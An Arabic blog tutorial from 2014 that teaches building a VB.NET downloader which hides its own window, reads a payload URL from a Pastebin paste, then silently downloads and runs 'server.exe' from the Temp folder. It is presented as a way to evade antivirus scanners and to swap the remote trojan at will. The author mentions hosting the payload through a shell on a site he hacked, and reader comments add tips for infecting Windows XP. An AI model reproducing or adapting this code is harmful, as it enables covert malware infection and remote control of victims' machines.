Sunday, January 19, 2014
4:20 PM

تخطي الفاحصين بطريقة احترافية و تلغيم عبر موقع Pastebin .

اليوم شرحنا حول تلغيم احترافي عبر موقع pastebin  و تخطي الفاحصين بطريقة سهلة جدا .
الموقع عبارة عن موقع نشر الاكواد ، لمختلف الاستعمالات ، لكن اليوم سنشرح طريقة اشتغلالة في صناعة دولندر للسيرفر متغير حسب الارادة ، و حسب ما تحدده انت !

شرح التسجيل في الموقع :

ندخل للموقع [Pastebin] و نقوم بتسجيل دخولنا عبر الفيس بوك لاستغلال الوقت 

و نقوم بتسجيل الدخول ، الامر سهل فقط اختر اسمك ، ليس شيء لاشرحه 
نقوم بعمل مشروع جديد في Visual Studio 
خصائص Form1 هي كالتالي :
1- نختار في [WindowsState] تصغير [Minimized]
2- في [Text] الخاص بالفورم نقوم بمسحه
 
3- في [Opacity] نقوم بتغيره من 100% الى 0%
4- في [FormBorderStyle] نختار [None]
النتيجة التي سنحصل عليها
نقوم بادخل 5 من [Timer] و [WebBrowser]
النتيجة كما يلي :
قم الآن برفع سيرفرك على رابط مباشر (أنا رفع شل على موقع اخترقته و رفعت عليه السيرفر)
ندخل للموقع [Pastebin] و نضع رابط السيرفر ثم نضغ على [Submit]
نكتب ما هو ظاهر في الصورة فقط كحماية في الموقع للتأكد من أنك لست روبو 
الآن نقموم بنسخ الرابط كالتالي 
الآن نأتي الى الاكواد المستعملة : نشرحها لتستفيد
-----------------------
Dim hack3rprofessional As String 'كود استدعاء
-----------------------
Me.Hide() 'اخفاء الفورم
-----------------------
On Error Resume Next 'لابد أن يكون قبل كل امر 
-----------------------
WebBrowser1.Navigate("http://pastebin.com/XXX") 'تصفح الموقع
-----------------------
WebBrowser1.ScriptErrorsSuppressed = True 'امر مهم 
-----------------------
hack3rprofessional = WebBrowser1.Document.GetElementById("paste_code").GetAttribute("value") 'كود التحكم في الموقع عبر البرنامج و تحديد السيرفر
-----------------------
If hack3rprofessional = "" = False Then 
            On Error Resume Next
            My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "/server.exe")
            My.Computer.Network.DownloadFile(hack3rprofessional, My.Computer.FileSystem.SpecialDirectories.Temp & "/server.exe")
        End If
'نزول السيرفر
-----------------------
On Error Resume Next
        Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "/server.exe")
    End Sub 
'فتح السيرفر
-----------------------
اجعل جميع [Timer] تفتح تلقائيا ، قم بتحديدها كلها
و اجعلها كالتالي :
الآن نالخطوة الاخير نجرب التبليغ
تنبيه : اضبط توقيت [Timer1] على 100 و [Timer2] على 10000 و [Timer3] على 100 و [Timer4] على 5000 و [Timer5] على 100 لضمان و صول التبليغ .

تحميل المشروع : [VB.NET]

غير فقط http://pastebin.com/ySGkZHE6 الى رابطك ، رابطك في الموقع الملغم
الآن يمكنك التعديل على الرابط وقتما تشاء ، فقط ادخل لحسابك و غير الرابط ، و قد غيرت السيرفر بدون المساس بالبرنامج .

كان معكم أخوكم أنس ابن الفاروق ، و شكرا لكم على المتابعة ، و السلام عليكم ، نلقاكم في درس جديد و طرق جديدة .

2 comments :

  1. مبدع كعادتك يا انس
    ما شاء الله عليك

    (h)

    ReplyDelete
  2. شرح متعوب عليه وتحتاج التشجيع أخي في الله ، لكن لا تنسى أن تجعل بيئة عمل الداونلودر على
    net frame work v2.0
    وإلا فلن يعمل البرنامج على نسخ الويندوز إكس بي التي قد لا يكون بها النسخة 4 من
    net frame work
    وبهذا ستضمن وصول التبليغ بنسبة
    99%

    ReplyDelete